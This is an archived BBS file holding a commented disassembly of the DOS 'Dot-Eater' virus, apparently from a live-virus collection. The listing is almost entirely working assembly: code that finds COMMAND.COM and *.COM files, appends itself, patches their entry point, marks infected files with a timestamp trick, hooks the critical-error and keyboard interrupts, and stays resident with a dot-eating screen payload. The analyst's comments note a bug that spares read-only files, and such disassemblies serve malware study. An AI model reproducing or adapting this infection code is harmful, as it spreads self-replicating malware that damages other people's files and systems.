home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / doteat-m.asm < prev    next >
Assembly Source File  |  1993-06-15  |  23KB  |  686 lines

  1. ; DOT-EATER
  2. ; Virus from Marek Filipiak collection 
  3. ;
  4. ; dissasembly by Andrzej Kadlof 1990-09-13
  5. ;
  6. ; virus do not touch files with Read Only attribute!
  7.  
  8. 0100 E9AD03        JMP     02C4      ; jump to virus code
  9.  
  10. ; ....
  11. ; original program
  12. ;.....
  13. ; virus code
  14.  
  15. 0200 E9EF00        JMP     02F2
  16.  
  17. ;---------------------------
  18. ; main infection procedure
  19.  
  20. ; intercepte INT 24h
  21.  
  22. 0203 B82425        MOV     AX,2524   ; set INT 24h (critical error handler)
  23. 0206 BA5204        MOV     DX,0452
  24. 0209 CD21          INT     21
  25.  
  26. ; set new DTA
  27.  
  28. 020B B41A          MOV     AH,1A     ; set DTA
  29. 020D BA5504        MOV     DX,0455
  30. 0210 CD21          INT     21
  31.  
  32. 0212 C6066A0400    MOV     BYTE PTR [046A],00   ; clear attributes holder
  33. 0217 C7066F040000  MOV     WORD PTR [046F],0000 ; clear file size holder
  34.  
  35. ; the segment of enviroment is set to 0 only when COMMAND.COM is first time
  36. ; loaded!
  37.  
  38. 021D 2E            CS:
  39. 021E 833E2C0000    CMP     WORD PTR [002C],+00  ; is evniroment?
  40. 0223 7405          JZ      022A      ; absent
  41.  
  42. 0225 E89102        CALL    04B9  ; locate COMMAND.COM and prepare for infection
  43.  
  44. 0228 731F          JAE     0249      ; found, infect it
  45.  
  46. 022A B44E          MOV     AH,4E     ; Find First
  47. 022C 33C9          XOR     CX,CX     ; file attributes
  48. 022E BA9B04        MOV     DX,049B   ; ASCIIZ filespec (*.COM)
  49. 0231 CD21          INT     21
  50.  
  51. 0233 BF7304        MOV     DI,0473   ; founded file name
  52. 0236 7303          JAE     023B      ; file found
  53.  
  54. 0238 EB6F          JMP     02A9      ; no more files
  55. 023A 90            NOP
  56.  
  57. 023B E8C102        CALL    04FF      ; prepare for infection
  58.  
  59. 023E 7309          JAE     0249      ; ready
  60.  
  61. 0240 B44F          MOV     AH,4F     ; Find Next
  62. 0242 CD21          INT     21
  63.  
  64. 0244 73F5          JAE     023B      ; file founded
  65.  
  66. 0246 EB61          JMP     02A9      ; no more files
  67. 0248 90            NOP
  68.  
  69. ; infect file
  70.  
  71. 0249 51            PUSH    CX
  72. 024A B8EF00        MOV     AX,00EF   ; automodify code
  73. 024D A30201        MOV     [0101],AX
  74. 0250 B80057        MOV     AX,5700   ; get time/date of file
  75. 0253 CD21          INT     21
  76.  
  77. 0255 51            PUSH    CX        ; store file time
  78. 0256 52            PUSH    DX        ; store file date
  79. 0257 E8EE02        CALL    0548      ; move file pointer at the beginning
  80.  
  81. 025A B43F          MOV     AH,3F     ; Read File
  82. 025C B90300        MOV     CX,0003   ; number of bytes
  83. 025F BAA104        MOV     DX,04A1   ; to DS:DX
  84. 0262 CD21          INT     21
  85.  
  86. 0264 B80242        MOV     AX,4202   ; move file pointer to the end of file
  87. 0267 33C9          XOR     CX,CX
  88. 0269 33D2          XOR     DX,DX
  89. 026B CD21          INT     21
  90.  
  91. 026D 050001        ADD     AX,0100   ; file size + size of PSP = offset of virus
  92. 0270 A3E401        MOV     [01E4],AX ; store in virus body
  93. 0273 A3C601        MOV     [01C6],AX
  94. 0276 05C1FF        ADD     AX,FFC1   ; subtract 64
  95. 0279 A3A804        MOV     [04A8],AX ; store virus entry point
  96. 027C B9B003        MOV     CX,03B0   ; wirus length
  97. 027F BA0001        MOV     DX,0100   ; from DS:DX
  98. 0282 B440          MOV     AH,40     ; Write File
  99. 0284 CD21          INT     21
  100.  
  101. 0286 E8BF02        CALL    0548      ; move file pointer at the beginning
  102.  
  103. 0289 B440          MOV     AH,40     ; Write File
  104. 028B B90300        MOV     CX,0003   ; 3 bytes
  105. 028E BAA704        MOV     DX,04A7   ; from DS:DX
  106. 0291 CD21          INT     21
  107.  
  108. ; restore file time/date
  109.  
  110. 0293 B80157        MOV     AX,5701   ; set file time/date
  111. 0296 5A            POP     DX
  112. 0297 59            POP     CX
  113. 0298 80C91F        OR      CL,1F     ; set 62 seconds
  114. 029B CD21          INT     21
  115.  
  116. ; restore file attributes
  117.  
  118. 029D 59            POP     CX
  119. 029E B80143        MOV     AX,4301   ; set file attribute
  120. 02A1 87D7          XCHG    DI,DX
  121. 02A3 CD21          INT     21
  122.  
  123. 02A5 B43E          MOV     AH,3E     ; Close File
  124. 02A7 CD21          INT     21
  125.  
  126. ; restore INT 24h
  127.  
  128. 02A9 B82425        MOV     AX,2524   ; set INT 24h
  129. 02AC 2E            CS:
  130. 02AD 8B161400      MOV     DX,[0014]
  131. 02B1 1E            PUSH    DS
  132. 02B2 8EDA          MOV     DS,DX
  133. 02B4 2E            CS:
  134. 02B5 8B161200      MOV     DX,[0012]
  135. 02B9 CD21          INT     21
  136.  
  137. ; restore DTA
  138.  
  139. 02BB 1F            POP     DS
  140. 02BC B41A          MOV     AH,1A     ; Set DTA
  141. 02BE BA8000        MOV     DX,0080   ; in PSP
  142. 02C1 CD21          INT     21
  143.  
  144. 02C3 C3            RET
  145.  
  146. ;==========================
  147. ; wirus main entry point
  148. ;==========================
  149.  
  150. ; move 64 bytes of virus code from CS:02D8 to the end of program segment
  151.  
  152. 02C4 FC            CLD
  153.  
  154. ; here is patched offset of virus code in file
  155. ;                              ||
  156. 02C5 BE0002        MOV     SI,0200   ; automodyfication point
  157. 02C8 81C6D800      ADD     SI,00D8   ; find address of cs:02D8
  158. 02CC BF00FE        MOV     DI,FE00   ; destinantion
  159. 02CF B94000        MOV     CX,0040   ; 64 bytes
  160. 02D2 57            PUSH    DI        ; return address (CS:FE00)
  161. 02D3 F3            REPZ              ; move bytes
  162. 02D4 A4            MOVSB
  163. 02D5 58            POP     AX        ; get return address
  164. 02D6 FFE0          JMP     AX        ; jump to moved code (CS:01D8 here)
  165.  
  166. ; move starting part (500h bytes) of infected file to CS:F900 
  167.  
  168. 02D8 BE0001        MOV     SI,0100   ; beginning of mather file
  169. 02DB BF00F9        MOV     DI,F900   ; destination
  170. 02DE B90005        MOV     CX,0500   ; number of bytes
  171. 02E1 F3            REPZ
  172. 02E2 A4            MOVSB
  173.  
  174. ; here is patched offset of virus code in file
  175. ; move virus code and some part of infected file at the begining of program 
  176. ; image
  177. ;                               ||
  178. 02E3 BE0002        MOV     SI,0200   ; automodyfication point
  179. 02E6 BF0001        MOV     DI,0100   ; destination
  180. 02E9 B90005        MOV     CX,0500
  181. 02EC 57            PUSH    DI
  182. 02ED F3            REPZ
  183. 02EE A4            MOVSB
  184. 02EF 58            POP     AX
  185. 02F0 FFE0          JMP     AX        ; jmp to CS:0100, moved virus code
  186.  
  187. ;---------------------------------------------------------------------
  188. ; entry point after above jump (in CS:0100 if JMP 01F2)
  189. ; (remember that in real situation this code is moved 100h bytes below)
  190.  
  191. 02F2 A0A104        MOV     AL,[04A1] ; store on the stack first 3 bytes
  192. 02F5 50            PUSH    AX        ; of mather program (AH is inessential)
  193. 02F6 A1A204        MOV     AX,[04A2]
  194. 02F9 50            PUSH    AX
  195. 02FA E806FF        CALL    0203      ; infect COMMAND.COM or something else
  196.  
  197. ; restore oryginal 3 bytes of mather file in working area
  198.  
  199. 02FD 58            POP     AX
  200. 02FE A3A204        MOV     [04A2],AX
  201. 0301 58            POP     AX
  202. 0302 A2A104        MOV     [04A1],AL
  203.  
  204. ; check the presence of enviroment block
  205.  
  206. 0305 2E            CS:
  207. 0306 833E2C0000    CMP     WORD PTR [002C],+00
  208. 030B 742E          JZ      033B      ; enviroment block is empty, make fun
  209.  
  210. ; restore code of mather file
  211. ; move copying procedure in safe place
  212.  
  213. 030D 50            PUSH    AX
  214. 030E A1A204        MOV     AX,[04A2]  ; oryginal entry point of victim
  215. 0311 50            PUSH    AX
  216. 0312 BE2102        MOV     SI,0221    ; orgin
  217. 0315 BF00FE        MOV     DI,FE00    ; destination
  218. 0318 57            PUSH    DI         ; return address
  219. 0319 B94000        MOV     CX,0040    ; 64 bytes
  220. 031C F3            REPZ
  221. 031D A4            MOVSB
  222. 031E 58            POP     AX
  223. 031F FFE0          JMP     AX         ; jmp to moved code
  224.  
  225. ; move oryginal code back to CS:0100
  226.  
  227. 0321 BE00F9        MOV     SI,F900
  228. 0324 BF0001        MOV     DI,0100
  229. 0327 B90005        MOV     CX,0500
  230. 032A F3            REPZ
  231. 032B A4            MOVSB
  232. 032C 58            POP     AX
  233. 032D 2E            CS:
  234. 032E A30101        MOV     [0101],AX  ; restore first 3 bytes
  235. 0331 58            POP     AX
  236. 0332 2E            CS:
  237. 0333 A20001        MOV     [0100],AL
  238. 0336 B80001        MOV     AX,0100
  239. 0339 FFE0          JMP     AX         ; go back to file
  240.  
  241. ;-------------------------------------
  242. ; intercept INT 16h and stay resident
  243.  
  244. 033B B89D01        MOV     AX,019D
  245. 033E A30101        MOV     [0101],AX
  246. 0341 B81625        MOV     AX,2516   ; set INT 16h (Keyboard I/O)
  247. 0344 BAA503        MOV     DX,02A5
  248. 0347 CD21          INT     21
  249.  
  250. ; stay resident
  251.  
  252. 0349 B8B004        MOV     AX,04B0   ; virus length + PSP
  253. 034C BB1000        MOV     BX,0010
  254. 034F 33D2          XOR     DX,DX     ; prepare division
  255. 0351 F7F3          DIV     BX        ; find number of paragraphs
  256. 0353 40            INC     AX        ; add 1 paragraph for safety (?)
  257. 0354 50            PUSH    AX        ; temporary storage
  258. 0355 40            INC     AX        ; one paragraph for MCB
  259. 0356 8CCB          MOV     BX,CS
  260. 0358 03C3          ADD     AX,BX     ; segment of new program location
  261. 035A 5B            POP     BX        ; requested amount of memory
  262. 035B 50            PUSH    AX
  263. 035C 50            PUSH    AX
  264. 035D 06            PUSH    ES
  265. 035E 8EC0          MOV     ES,AX     ; new segment
  266. 0360 33F6          XOR     SI,SI     ; sorce (PSP)
  267. 0362 33FF          XOR     DI,DI     ; destination
  268. 0364 B90001        MOV     CX,0100   ; size of moved block
  269. 0367 F3            REPZ
  270. 0368 A4            MOVSB
  271. 0369 07            POP     ES
  272. 036A 051000        ADD     AX,0010   ; size of PSP in paragraphs
  273. 036D A3AC04        MOV     [04AC],AX ; segment for loaded file in EPB
  274. 0370 B44A          MOV     AH,4A     ; modify allocated memory block
  275. 0372 CD21          INT     21
  276.  
  277. 0374 BA8F04        MOV     DX,048F   ; ASCIIZ of loaded program
  278. 0377 BBAC04        MOV     BX,04AC   ; EXEC Parameter Block
  279. 037A B8034B        MOV     AX,4B03   ; Load Program Overlay
  280. 037D CD21          INT     21
  281.  
  282. ; restore oryginal 3 bytes of loaded file
  283.  
  284. 037F 07            POP     ES
  285. 0380 A0A104        MOV     AL,[04A1]
  286. 0383 26            ES:
  287. 0384 A20001        MOV     [0100],AL
  288. 0387 A1A204        MOV     AX,[04A2]
  289. 038A 26            ES:
  290. 038B A30101        MOV     [0101],AX
  291.  
  292. 038E 58            POP     AX
  293. 038F 8CCB          MOV     BX,CS
  294. 0391 4B            DEC     BX        ; segment of memory block
  295. 0392 A3AC04        MOV     [04AC],AX ; segment of block owner
  296. 0395 8EDB          MOV     DS,BX
  297. 0397 A30100        MOV     [0001],AX ; modify MCB
  298. 039A 8ED8          MOV     DS,AX     ; set registers
  299. 039C 8ED0          MOV     SS,AX
  300. 039E 8EC0          MOV     ES,AX
  301. 03A0 2E            CS:
  302. 03A1 FF2EAA04      JMP     FAR [04AA] ; jump to file (COMMAND.COM!)
  303.  
  304. ;---------------------------------------
  305. ; new INT 16h handler (Keyboard I/O)
  306.  
  307. 03A5 FB            STI
  308. 03A6 1E            PUSH    DS
  309. 03A7 56            PUSH    SI
  310. 03A8 0E            PUSH    CS
  311. 03A9 1F            POP     DS
  312. 03AA 33F6          XOR     SI,SI
  313. 03AC 80FC01        CMP     AH,01     ; is keystroke ready question?
  314. 03AF 7503          JNZ     03B4      ; no
  315.  
  316. 03B1 BE0100        MOV     SI,0001
  317.  
  318. 03B4 9C            PUSHF
  319. 03B5 FF1E8204      CALL    FAR [0482]   ; oryginal INT 16h
  320.  
  321. 03B9 9C            PUSHF
  322. 03BA 7431          JZ      03ED
  323.  
  324. 03BC 83FE01        CMP     SI,+01
  325. 03BF 752C          JNZ     03ED
  326.  
  327. 03C1 3C2E          CMP     AL,2E     ; '.'
  328. 03C3 7418          JZ      03DD
  329.  
  330. 03C5 3C5E          CMP     AL,5E     ; '^'
  331. 03C7 7524          JNZ     03ED      ; exit
  332.  
  333. ; if keystroke is '^' then restore oryginal INT 16h (in ROM!)
  334.  
  335. 03C9 1E            PUSH    DS
  336. 03CA 52            PUSH    DX
  337. 03CB BA00F0        MOV     DX,F000
  338. 03CE 8EDA          MOV     DS,DX
  339. 03D0 BA2EE8        MOV     DX,E82E
  340. 03D3 B81625        MOV     AX,2516   ; set INT 16h (Keyboard I/O)
  341. 03D6 CD21          INT     21
  342.  
  343. 03D8 5A            POP     DX
  344. 03D9 07            POP     ES
  345. 03DA EB11          JMP     03ED      ; exit
  346. 03DC 90            NOP
  347.  
  348. 03DD E81300        CALL    03F3      ; write dot and then eat it!
  349.  
  350. 03E0 50            PUSH    AX
  351. 03E1 B400          MOV     AH,00
  352. 03E3 9C            PUSHF
  353. 03E4 FF1E8204      CALL    FAR [0482] ; do oryginal INT 16h
  354.  
  355. 03E8 58            POP     AX
  356. 03E9 9D            POPF
  357. 03EA 32C0          XOR     AL,AL
  358. 03EC 9C            PUSHF
  359.  
  360. 03ED 9D            POPF
  361. 03EE 5E            POP     SI
  362. 03EF 1F            POP     DS
  363. 03F0 CA0200        RETF    0002      ; IRET
  364.  
  365. ;---------------------------------------------------------------------------
  366. ; write dot (.) at cursor position, go to left end of the screen and eat it!
  367.  
  368. 03F3 50            PUSH    AX
  369. 03F4 53            PUSH    BX
  370. 03F5 51            PUSH    CX
  371. 03F6 52            PUSH    DX
  372. 03F7 B403          MOV     AH,03     ; read cursor position
  373. 03F9 B700          MOV     BH,00
  374. 03FB CD10          INT     10
  375.  
  376. 03FD FECA          DEC     DL
  377. 03FF 51            PUSH    CX
  378. 0400 52            PUSH    DX
  379. 0401 B82E0E        MOV     AX,0E2E   ; write dot as TTY
  380. 0404 B307          MOV     BL,07     ; foreground in graphic
  381. 0406 CD10          INT     10        ; video service
  382.  
  383. 0408 B401          MOV     AH,01     ; set cursor shape
  384. 040A B93030        MOV     CX,3030   ; ??
  385. 040D CD10          INT     10
  386.  
  387. 040F B14E          MOV     CL,4E     ; 78 limit for column number
  388. 0411 8AD1          MOV     DL,CL
  389. 0413 52            PUSH    DX
  390. 0414 E86600        CALL    047D      ; set cursor position
  391.  
  392. 0417 E86A00        CALL    0484      ; write face character with sound efect
  393.  
  394. 041A 51            PUSH    CX
  395. 041B B90020        MOV     CX,2000   ; time constant
  396.  
  397. 041E 50            PUSH    AX
  398. 041F 58            POP     AX
  399. 0420 E2FC          LOOP    041E      ; delay
  400.  
  401. 0422 59            POP     CX
  402. 0423 58            POP     AX
  403. 0424 8AD0          MOV     DL,AL
  404. 0426 E85400        CALL    047D      ; set cursor position
  405.  
  406. 0429 E86900        CALL    0495      ; write space at cursor position
  407.  
  408. 042C FEC9          DEC     CL
  409. 042E 58            POP     AX
  410. 042F 50            PUSH    AX
  411. 0430 3AC8          CMP     CL,AL
  412. 0432 75DD          JNZ     0411
  413.  
  414. 0434 FEC1          INC     CL
  415. 0436 FEC1          INC     CL
  416. 0438 51            PUSH    CX
  417. 0439 B90001        MOV     CX,0100  ; time constant
  418. 043C E85E00        CALL    049D     ; make sound
  419.  
  420. 043F 59            POP     CX
  421.  
  422. 0440 8AD1          MOV     DL,CL    ; column number
  423. 0442 52            PUSH    DX       ; store it
  424. 0443 E83700        CALL    047D     ; set cursor position
  425.  
  426. 0446 E83B00        CALL    0484     ; write face character with sound
  427.  
  428. 0449 51            PUSH    CX
  429. 044A B92000        MOV     CX,0020  ; time constant
  430. 044D E84D00        CALL    049D     ; make sound
  431.  
  432. 0450 59            POP     CX
  433. 0451 51            PUSH    CX
  434. 0452 B90010        MOV     CX,1000  ; delay connstant
  435.  
  436. 0455 50            PUSH    AX
  437. 0456 58            POP     AX
  438. 0457 E2FC          LOOP    0455     ; delay loop
  439.  
  440. 0459 59            POP     CX
  441. 045A 58            POP     AX
  442. 045B 8AD0          MOV     DL,AL
  443. 045D E81D00        CALL    047D      ; set cursor position (DX)
  444.  
  445. 0460 E83200        CALL    0495      ; write space at cursor position
  446.  
  447. 0463 FEC1          INC     CL        ; next column
  448. 0465 80F94E        CMP     CL,4E     ; 78?
  449. 0468 75D6          JNZ     0440      ; no
  450.  
  451. 046A 5A            POP     DX
  452. 046B B401          MOV     AH,01     ; set cursor shape
  453. 046D 59            POP     CX
  454. 046E CD10          INT     10
  455.  
  456. 0470 B402          MOV     AH,02     ; set cursor position
  457. 0472 FEC2          INC     DL
  458. 0474 B700          MOV     BH,00
  459. 0476 CD10          INT     10
  460.  
  461. 0478 5A            POP     DX
  462. 0479 59            POP     CX
  463. 047A 5B            POP     BX
  464. 047B 58            POP     AX
  465. 047C C3            RET
  466.  
  467. ;-----------------------
  468. ; set cursor position
  469.  
  470. 047D B402          MOV     AH,02     ; set cursor position
  471. 047F B700          MOV     BH,00
  472. 0481 CD10          INT     10
  473.  
  474. 0483 C3            RET
  475.  
  476. ;-----------------------------------------------------------
  477. ; write face character with sound efect in cursos position
  478.  
  479. 0484 B40E          MOV     AH,0E     ; write character as TTY subfunction
  480. 0486 B307          MOV     BL,07     ; foregroung in graphic
  481. 0488 51            PUSH    CX
  482. 0489 B94000        MOV     CX,0040   ; time constant
  483. 048C E80E00        CALL    049D      ; make sound
  484.  
  485. 048F 59            POP     CX
  486. 0490 B001          MOV     AL,01     ; face character
  487. 0492 CD10          INT     10        ; eat dot!
  488.  
  489. 0494 C3            RET
  490.  
  491. ;---------------------------------
  492. ; write space in cursor position
  493.  
  494. 0495 B8200E        MOV     AX,0E20   ; write space as TTY
  495. 0498 B307          MOV     BL,07     ; foreground in graphic
  496. 049A CD10          INT     10
  497.  
  498. 049C C3            RET
  499.  
  500. ;---------------------
  501. ; sound procedure
  502.  
  503. 049D 50            PUSH    AX
  504. 049E E461          IN      AL,61     ; get state of PPI
  505. 04A0 50            PUSH    AX
  506. 04A1 8AE0          MOV     AH,AL
  507. 04A3 80CC02        OR      AH,02     ; speaker on
  508.  
  509. 04A6 E661          OUT     61,AL
  510. 04A8 86E0          XCHG    AL,AH
  511. 04AA 51            PUSH    CX
  512.  
  513. 04AB 50            PUSH    AX
  514. 04AC 58            POP     AX
  515. 04AD E2FC          LOOP    04AB     ; delay
  516.  
  517. 04AF 59            POP     CX
  518. 04B0 E2F4          LOOP    04A6
  519.  
  520. 04B2 58            POP     AX
  521. 04B3 24FC          AND     AL,FC     ; speaker off
  522. 04B5 E661          OUT     61,AL
  523. 04B7 58            POP     AX
  524. 04B8 C3            RET
  525.  
  526. ;--------------------------------------------------------------------
  527. ; locate COMMAND.COM by finding COMSPEC= in enviroment and prepare it
  528. ; for infection (open, clear attributes, move file pointer at the
  529. ; beggining).
  530.  
  531. 04B9 2E            CS:
  532. 04BA A12C00        MOV     AX,[002C] ; get enviroment
  533. 04BD BE8604        MOV     SI,0486   ; adress of 'COMSPEC=' string
  534. 04C0 06            PUSH    ES
  535. 04C1 8EC0          MOV     ES,AX
  536. 04C3 33FF          XOR     DI,DI     ; ES:DI start of enviroment block
  537.  
  538. 04C5 8BDE          MOV     BX,SI     ; [BX] = 'C'
  539. 04C7 26            ES:
  540. 04C8 804D00        CMP     BYTE PTR [DI],00 ; is enviroment block empty?
  541. 04CB 7503          JNZ     04D0      ; no
  542.  
  543. 04CD 07            POP     ES
  544. 04CE F9            STC
  545. 04CF C3            RET
  546.  
  547. 04D0 8A07          MOV     AL,[BX]   ; get letters
  548. 04D2 0AC0          OR      AL,AL     ; end of string?
  549. 04D4 7413          JZ      04E9      ; yes
  550.  
  551. 04D6 26            ES:
  552. 04D7 3A05          CMP     AL,[DI]   ; compare with enviroment string
  553. 04D9 7504          JNZ     04DF      ; not equal
  554.  
  555. 04DB 43            INC     BX        ; get next letter
  556. 04DC 47            INC     DI
  557. 04DD EBF1          JMP     04D0      ; continue search
  558.  
  559. 04DF 32C0          XOR     AL,AL     ; look for the next string
  560. 04E1 B9FFFF        MOV     CX,FFFF   ; size of block (maximum possible)
  561. 04E4 FC            CLD
  562. 04E5 F2            REPNZ
  563. 04E6 AE            SCASB             ; look for 0
  564. 04E7 EBDC          JMP     04C5
  565.  
  566. ; COMSPEC= founded, DI points at path to COMMAND.COM, copy it to own buffer
  567.  
  568. 04E9 BE7304        MOV     SI,0473
  569.  
  570. 04EC 26            ES:
  571. 04ED 8A05          MOV     AL,[DI]
  572. 04EF 8804          MOV     [SI],AL
  573. 04F1 46            INC     SI
  574. 04F2 47            INC     DI
  575. 04F3 0AC0          OR      AL,AL
  576. 04F5 75F5          JNZ     04EC
  577.  
  578. 04F7 07            POP     ES
  579. 04F8 BF7304        MOV     DI,0473
  580. 04FB E80100        CALL    04FF      ; prepare file for infection
  581.  
  582. 04FE C3            RET
  583.  
  584. ;---------------------------
  585. ; prepare file for infection
  586.  
  587. 04FF F6066A0404    TEST    BYTE PTR [046A],04  ; System file?
  588. 0504 7402          JZ      0508                ; no
  589.  
  590. 0506 F9            STC
  591. 0507 C3            RET
  592.  
  593. 0508 813E6F0400F8  CMP     WORD PTR [046F],F800 ; maximum length of file
  594. 050E 7602          JBE     0512
  595.  
  596. 0510 F9            STC
  597. 0511 C3            RET
  598.  
  599. ; Check is the file already infected (look at seconds in file time stamp).
  600. ; Here is logical bug. Virus is trying to open file in Read/Write mode
  601. ; before clearing flag Read Only. So files with this attribute are safe!
  602.  
  603. 0512 B8023D        MOV     AX,3D02   ; Open File
  604. 0515 8BD7          MOV     DX,DI
  605. 0517 CD21          INT     21
  606.  
  607. 0519 7301          JAE     051C
  608.  
  609. 051B C3            RET
  610.  
  611. 051C 93            XCHG    BX,AX     ; store handle
  612. 051D B80057        MOV     AX,5700   ; get file date/time
  613. 0520 CD21          INT     21
  614.  
  615. 0522 80E11F        AND     CL,1F     ; extract seconds
  616. 0525 80F91F        CMP     CL,1F     ; = 62 ?
  617. 0528 7506          JNZ     0530      ; not infected yet
  618.                                      
  619. 052A B43E          MOV     AH,3E     ; Close File
  620. 052C CD21          INT     21
  621.  
  622. 052E F9            STC
  623. 052F C3            RET
  624.  
  625. 0530 B80043        MOV     AX,4300   ; get file attributes
  626. 0533 8BD7          MOV     DX,DI
  627. 0535 CD21          INT     21
  628.  
  629. 0537 51            PUSH    CX
  630. 0538 B80143        MOV     AX,4301   ; set file attributes
  631. 053B 33C9          XOR     CX,CX     ; clear all atributes
  632. 053D CD21          INT     21
  633.  
  634. 053F 59            POP     CX
  635. 0540 7305          JAE     0547      ; RET
  636.  
  637. 0542 B43E          MOV     AH,3E     ; Close File
  638. 0544 CD21          INT     21
  639.  
  640. 0546 F9            STC
  641. 0547 C3            RET
  642.  
  643. ;-------------------------------------
  644. ; move file pointer at the beginning
  645.  
  646. 0548 B80042        MOV     AX,4200
  647. 054B 33C9          XOR     CX,CX
  648. 054D 33D2          XOR     DX,DX
  649. 054F CD21          INT     21
  650.  
  651. 0551 C3            RET
  652.  
  653. ;---------------------
  654. ; new INT 24 handler
  655.  
  656. 0552 B003          MOV     AL,03
  657. 0554 CF            IRET
  658.  
  659. ;------------------------------------------------------------------------
  660. ; virus working area, in active virus this area is moved 100h bytes down
  661. ; new DTA
  662.  
  663. 0555  00 00 00 00 00 00 00 00 00 00 00   ; 21 bytes reserved by DOS
  664. 0560  00 00 00 00 00 00 00 00 00 00
  665. 056A  00                  ; file attribute
  666. 056B  00 00 00 00         ; time and data stamps
  667. 056F  00 00 00 00         ; file size
  668. 0573  00 00 00 00 00 00 00 00 00 00 00 00 00 ; ASCIIZ file name (13 bytes)
  669. 0580  00 00
  670. 0582  2E E8 00 F0                 ; old INT 16h
  671. 0586  43 4F 4D 53 50 45 43 3D 00  ; COMSPEC=.
  672. 058F  43 4F 4D 4D 41 4E 44 2E 43 4F 4D 00  ; COMMAND.COM, ASCIIZ of loaded file
  673. 059B  2A 2E 43 4F 4D              ;  *.COM
  674.  
  675. 05A0  00
  676. 05A1  00 00 00             ; oryginal first 3 byte of next victim
  677. 05A3  00 00 00 
  678. 05A7  E9 00 00             ; new 3 bytes for infected file
  679. 05AA  00 01                ; offset file entry point        
  680.  
  681. ; 4 bytes EPB (for AL = 3)
  682.  
  683. 05AC  00 00                ; segment for loaded file
  684. 05AE  00 00                ; ignored
  685.  
  686.